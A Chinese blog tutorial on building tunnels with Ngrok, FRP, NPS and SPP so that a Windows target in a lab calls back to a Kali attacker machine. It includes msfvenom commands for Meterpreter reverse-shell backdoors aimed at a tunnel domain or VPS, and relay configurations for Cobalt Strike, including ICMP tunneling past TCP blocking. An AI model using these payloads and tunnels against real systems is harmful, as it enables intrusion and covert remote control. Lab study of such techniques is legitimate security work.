内网渗透—内网穿透工具NgrokFRPNPSSPP

前言

主要介绍一下常见的隧道搭建工具,以此来达到一个内网穿透的目的。简单说一下实验滴环境吧,kali作为攻击机,winserver2016作为目标靶机。

kali 192.168.145.171
winserver2016 10.236.44.127

显然它们处于两个不同的局域网,此时要想通过msf来让winserver上线到kali是不可能滴。因为,kali处于另一个局域网内,winserver是找不到它的。那么此时我们就可以借助内网穿透工具,这个工具是处于公网中的,靶机是可以找到它的,然后这个工具再把流量转发到kali,不就可以实现上线了吗。有人可能会说,那我直接在vps安装一个msf不就行了吗。这个确实是可以,但是vps是要钱滴,而且你kaili那么多工具,你不可能全部都安装到vps上面吧。所以最终还是得利用内网穿透,来突破两个不同的局域网的限制,达到一个上线的目的。

Ngrok内网穿透

首先到官网注册一个账号。

地址:Sunny-Ngrok内网转发内网穿透 - 国内内网映射服务器

点击开通隧道,购买一个服务器,直接买这个免费的就行了。

协议的话这个工具支持三种,http、https、tcp。注意你这里选择什么协议开通的隧道,后面生成后门的时候就要选择相对于的协议。下面填的是kali的ip以及端口,其它密码啥的就不用管啦。

开通成功,点击客户端下载。

选择相对应的系统下载就行。

客户端执行下面命令,后面这串数字就是你隧道的id。奇怪的事情又来了,执行命令之后什么的反应也没有,实验步骤我也没有错啊。

./sunny clientid 210543434570

而且我直接复制它这个命令也不行,唉难搞。有无大佬知道为啥的,还恳请指点一二,有偿答谢。

这里我就简单说一下假如成功该咋样操作,msf生成后门,这里lhost绑定的是隧道生成的域名,lport绑定的是80端口,因为这个Ngrok这个网站默认是80端口,注意你隧道是什么协议,后门生成就用什么协议。

msfvenom -p windows/x64/meterpreter/reverse_http lhost=test1.free.idcfengye.com lport=80 -f exe >/home/wlw666/桌面/hhh.exe

设置监听,监听端口是你生成隧道时填的端口,然后直接run即可。靶机上的后门先把流量发送到Ngrok服务端也就是网站,然后由于前面我们kail作为客户端已经和服务端建立连接,服务端就会把流量转发到我们的kali,实现上线msf。简单来说就是Ngrok服务端充当了一个在公网的中转站,让两个不同的局域网进行交流。

FRP内网穿透

FRP和Ngrok都差不多,只是它支持的协议要比Ngrok多好多,可以说是进阶款的工具。使用起来也是非常简单滴,同理也有客户端和服务端。当然啦,也分linux和windows版本,下载相对应的版本即可,这里我就不放链接了,因为我找不到了,实验环境还是差不多的。

vps 8.xxx.xxx.xxx
kali 192.168.145.171
靶机 10.236.2.204

顺便说一下,使用这个工具需要一台vps。Ngrok不需要vps是因为它网站本身充当了vps。把服务端以及配置文件上传到vps,也就是frps和frps.ini。服务端配置文件默认使用7000端口进行通讯。

启动客户端。

./frps

 接着把客户端和客户端配置文件放到kali上面,也就是frpc和frpc.ini。修改客户端配置文件,顺便说明一下参数。

[common]
server_addr = 8.xxx.xxx.xxxx  //服务端地址
server_port = 7000            //服务端通讯端口[test]
type = tcp                    //隧道协议
local_ip = 192.168.145.171    //kali的ip
local_port = 1111             //本地接收流量端口
remote_port = 2222            //服务端转发流量的端口

启动服务端。

./frpc -c frpc.ini

此时我们的vps和kali,通过frps和frpc建立了连接。访问8.xxx.xxx.xxx:2222的流量会通过我们建立的隧道转发到192.168.145.171:1111。使用msf生成一个后门,注意你上面设置的是什么隧道,我们就要生成什么协议的后门。

msfvenom -p windows/meterpreter/reverse_tcp lhost=8.xxx.xxx.xxx lport=2222 -f exe >/home/wlw666/桌面/hhh.exe

设置监听,监听地址是kali本地,端口自然也是1111。

放到靶机上面去运行,可以看到服务端显示有IP连接。

成功上线msf。

NPS内网穿透

这个NPS支持的协议就更多了,几乎支持所有常见的协议。使用方式和Ngrok差不多,Ngrok就是基于NPS开发的。同理也是有客户端和服务端,下载相对应的系统版本即可。实验环境和FRP的一样,就不再赘述了。

下载地址:Releases · ehang-io/nps (github.com)

服务端上传到vps,这里说一下服务端配置文件主要的参数,其它的不用管也行。

##bridge
bridge_type=tcp     //隧道协议
bridge_port=8024    //服务端与客户端连接的端口
bridge_ip=0.0.0.0#web
web_host=a.o.com
web_username=admin  //网站默认账号
web_password=1234   //网站默认密码
web_port = 8080     //网站默认访问端口
web_ip=0.0.0.0
web_base_url=
web_open_ssl=false
web_cert_file=conf/server.pem
web_key_file=conf/server.key
# if web under proxy use sub path. like http://host/nps need this.
#web_base_url=/nps

启动服务端。

网页访问一下,输入默认密码账号。

先新增一个客户端,备注随便弄个名字,其它密码啥的不用设置也行。

点击新建一个tcp隧道,客户id填我们刚刚创建的,备注随便,下面端口随便。2222是我们服务端接收流量的端口,1111是流量要转发到的端口。

客户端拖到kali上面,输入命令进行安装。

./nps install

说一下客户端配置文件主要参数。

[common]
server_addr=8.xxx.xxx.xxx:8024 //vps地址,端口要和服务端的一样
conn_type=tcp   //协议要和服务端一样
vkey=123456     //不用管

启动客户端,这个vkey就是你创建的客户端的唯一验证密钥。

./npc -server=8.xxx.xxx.xxx:8024 -vkey=sndudbk16evol2gv -type=tcp

msf生成后门,绑定的是vps的地址也就是服务端,端口是2222而不是1111。后门连接到vps的2222端口,然后转发到客户端也就是kaili的1111端口。

msfvenom -p windows/meterpreter/reverse_tcp lhost=8.xxx.xxx.xxx lport=2222 -f exe >/home/wlw666/桌面/1111.exe

设置监听,然后直接run。

后门放到windows上面运行即可上线msf。

SPP内网穿透

这个工具集成了穿透和隧道两个功能,既可以用来进行内网穿透也可以搭建隧道。如果在实战中遇到比较极端的环境,比如把tcp还有其它的协议封杀干净了,就可以用这个工具。

支持的协议:
TCP、UDP、RUDP(可靠 UDP)、RICMP(可靠 ICMP)、RHTTP(可靠 HTTP)、KCP、Quic
支持类型:
正向代理、反向代理、SOCKS5正向代理、SOCKS5反向代理
协议和类型可以自由组合
外部代理协议和内部转发协议可以自由组合

这里这个工具主要是演示一下隧道的搭建,这里windows靶机出站和入站我都封杀了tcp,演示一下icmp上线,实验环境依旧不变。

这个也是分客户端和服务端的,只不过它的客户端和服务端都是同一个文件。下载相对应的系统版本即可。

 工具下载地址:Releases · esrrhs/spp (github.com)

这个工具也需要vps才行,因为不像Ngrok有网站来充当vps。启动服务端,监听本地icmp数据。

./spp -type server -proto ricmp -listen 0.0.0.0  ##这里设置监听ICMP协议,全端口

靶机是Windows,所以还得下载一个Windows版本的spp充当客户端。靶机执行命令,但是奇怪的事情又来了,命令执行后一直报错。一直说无法连接到服务端???但是我服务端是放在公网的vps的,而且ping也能ping通。我真的想骂人了。各种奇奇怪怪的问题都能遇见,真的烦啊。

把本地1111端口的tcp流量,封装成icmp然后转发到服务端的2222端口spp.exe -name "test" -type proxy_client -server 服务端ip -fromaddr :1111 -toaddr :2222 -proxyproto tcp -proto ricmp

我又把服务端放到与靶机同一局域网的kali,居然又能连接上了,那为什么连不是vps的服务端,真的是cnmb。

这里我就当可以连接上vps的服务端了,然后说一下如何上线CS。生成两个监听器,一个监听服务端的222端口,一个监听本地的1111端口。

用app-2生成一个后门放到靶机上面运行,成功上线之后。你会发现上线用的监听器是spp-1,而不是生成后门的spp-2。这是因为如果我们直接用spp-1生成后门的话,它流量是出不来的,因为我们封杀的tcp嘛。spp-2生成后门的话它的流量只会在原地转圈,因为连接地址为127.0.0.1。再通过SPP把流量封装好,转发到服务端的2222端口,此时我们的spp-1监听的是服务端,自然是spp-1上线咯。

总结

这个实验我没有做成功,老是遇到一些奇奇怪怪的问题,烦死了。如若有师傅了解,还恳请指点一二,有偿答谢。

最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/3268251.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

游戏UI设计大师课:3款游戏 UI 设计模板

很多时候,做设计需要找素材。假如是普通的 UI 界面或者 Banner 等等,在Dribbble、Pinterest、即时设计、Behance 翻看这样的网站,至少可以梳理出一些想法和思路。如果你需要一个更规范的指南,此时,在各种设计规范、官方…

【React】详解“最新”和“最热”切换与排序

文章目录 一、基本概念和初始化二、切换与排序功能的实现1. 函数定义和参数2. 设置活动 Tab3. 定义新列表变量4. 根据排序类型处理列表4.1 按时间降序排序4.2 按点赞数降序排序 5. 更新评论列表 三、渲染导航 Tab 和评论列表1. map 方法2. key 属性3. className 动态赋值4. onC…

Spring Cloud Gateway网关的高级特性以及配置之Route Predicate Factories(路由谓词工厂)

一、Route Predicate Factories(路由谓词工厂) 还是先来查看官网的说明:点击此处 路由谓词工厂是微服务网关(如Spring Cloud Gateway)中用于定义路由规则的一种机制。它们用来决定哪些请求应该被路由到特定的服务。 …

web学习笔记(八十三)git

目录 1.Git的基本概念 2.gitee常用的命令 3.解决两个人操作不同文件造成的冲突 4.解决两个人操作同一个文件造成的冲突 1.Git的基本概念 git是一种管理代码的方式,广泛用于软件开发和版本管理。我们通常使用gitee(码云)来云管理代码。 …

鸿蒙(API 12 Beta2版)【创建NDK工程】

创建NDK工程 下面通过DevEco Studio的NDK工程模板,来演示如何创建一个NDK工程。 说明 不同DevEco Studio版本的向导界面、模板默认参数等会有所不同,请根据实际工程需要,创建工程或修改工程参数。 通过如下两种方式,打开工程创…

【资料分享】2024钉钉杯大数据挑战赛A题思路解析+代码演示

2024第三届钉钉杯大学生大数据挑战赛今天已经开赛,【A题】思路解析代码,资料预览:

【数据结构】二叉树链式结构——感受递归的暴力美学

前言: 在上篇文章【数据结构】二叉树——顺序结构——堆及其实现中,实现了二叉树的顺序结构,使用堆来实现了二叉树这样一个数据结构;现在就来实现而二叉树的链式结构。 一、链式结构 链式结构,使用链表来表示一颗二叉树…

Python 爬虫入门(一):从零开始学爬虫 「详细介绍」

Python 爬虫入门(一):从零开始学爬虫 「详细介绍」 前言1.爬虫概念1.1 什么是爬虫?1.2 爬虫的工作原理 2. HTTP 简述2.1 什么是 HTTP?2.2 HTTP 请求2.3 HTTP 响应2.4 常见的 HTTP 方法 3. 网页的组成3.1 HTML3.1.1 HTM…

【MATLAB源码-第238期】基于simulink的三输出单端反激flyback仿真,通过PWM和PID控制能够得到稳定电压。

操作环境: MATLAB 2022a 1、算法描述 概述 反激变换器是一种广泛应用于电源管理的拓扑结构,特别是在需要隔离输入和输出的应用中。它的工作原理是利用变压器的储能和释放能量来实现电压转换和隔离。该图展示了一个通过脉宽调制(PWM&#…

基于springboot+vue+uniapp的居民健康监测小程序

开发语言:Java框架:springbootuniappJDK版本:JDK1.8服务器:tomcat7数据库:mysql 5.7(一定要5.7版本)数据库工具:Navicat11开发软件:eclipse/myeclipse/ideaMaven包&#…

【初阶数据结构】9.二叉树(4)

文章目录 5.二叉树算法题5.1 单值二叉树5.2 相同的树5.3 另一棵树的子树5.4 二叉树遍历5.5 二叉树的构建及遍历 6.二叉树选择题 5.二叉树算法题 5.1 单值二叉树 点击链接做题 代码: /*** Definition for a binary tree node.* struct TreeNode {* int val;* …

虚拟机centos9搭建wordpress

目录 1. 更换yum源更新系统软件包: 1.1备份yum源 1.1.1创建备份目录: 1.1.2移动现有仓库配置文件到备份目录: 1.1.3验证备份: 1.2更换yum源 1.2.1添加yum源 1.2.2删除和建立yum缓存 1.3更新系统软件包 1.4 yum与dnf介绍…

谷粒商城实战笔记-62-商品服务-API-品牌管理-OSS整合测试

文章目录 一,Java中上传文件到阿里云OSS1,整合阿里云OSS2,测试上传文件 二,Java中整合阿里云OSS服务指南引言准备工作1. 注册阿里云账号2. 获取Access Key3. 添加依赖 实现OSS客户端1. 初始化OSSClient2. 创建Bucket3. 上传文件4.…

nginx的学习(二):负载均衡和动静分离

简介 nginx的负载均衡和动静分离的简单使用 负载均衡配置 外部访问linux的ip地址:80/edu/a.html地址,会轮询访问Tomcat8080和Tomcat8081服务。 Tomcat的准备 准备两个Tomcat,具体准备步骤在nginx的学习一的反向代理例子2中,在Tomcat8080…

告别繁琐地推!Xinstall如何一键优化你的App地推方案

在这个移动应用遍地开花的时代,App地推活动早已成为各大厂商获取新用户、提升品牌曝光度的重要手段。然而,传统地推方案中的种种弊端,如填写地推码/邀请码的繁琐、渠道打包的工作量繁重、人工登记上报的不准确等,无一不在拖慢地推…

【接口设计】学会用 RestTemplate 发请求

《接口设计》系列,共包含以下 5 篇文章: 前后端的通信方式 REST如何设计统一 RESTful 风格的数据接口为 APP、PC、H5 网页提供统一风格的 API(实战篇,附源码地址)用 Swagger 实现接口文档学会用 RestTemplate 发请求 …

【C++】选择结构案例-三目运算符

三目运算符语法格式: 布尔表达式?表达式1:表达式2 运算过程:如果布尔表达式的值为 true ,则返回 表达式1 的值,否则返回 表达式2 的值 (三目运算符指的是?和:) 在这个三目运算符…

USB转多路串口-纯硬件实现串口数据传输指示灯电路

前言 串口相关产品往往要求有数据收发时LED闪烁,我们经常会用软件实现,在MCU内注册一个定时器,有数据发送时就闪烁一段时间。软件点灯这种方式存在两个缺陷,一是接收方向不好实现;二是定时器一般用固定频率&#xff0…

Redis的两种持久化方式---RDB、AOF

rdb其实就是一种快照持久化的方式,它会将Redis在某个时间点的所有的数据状态以二进制的方式保存到硬盘上的文件当中,它相对于aof文件会小很多,因为知识某个时间点的数据,当然,这就会导致它的实时性不够高,如…

Nature Electronics|柔性可吞服电子设备用于胃部电生理学监测(柔性健康监测/可吞服电子/柔性

美国麻省理工学院David H. Koch 综合癌症研究所的 Giovanni Traverso团队,在《Nature Electronics》上发布了一篇题为“An ingestible device for gastric electrophysiology”的论文。论文内容如下: 一、 摘要 从胃肠道和肠道神经系统记录高质量电生理数据的能力有助于了解…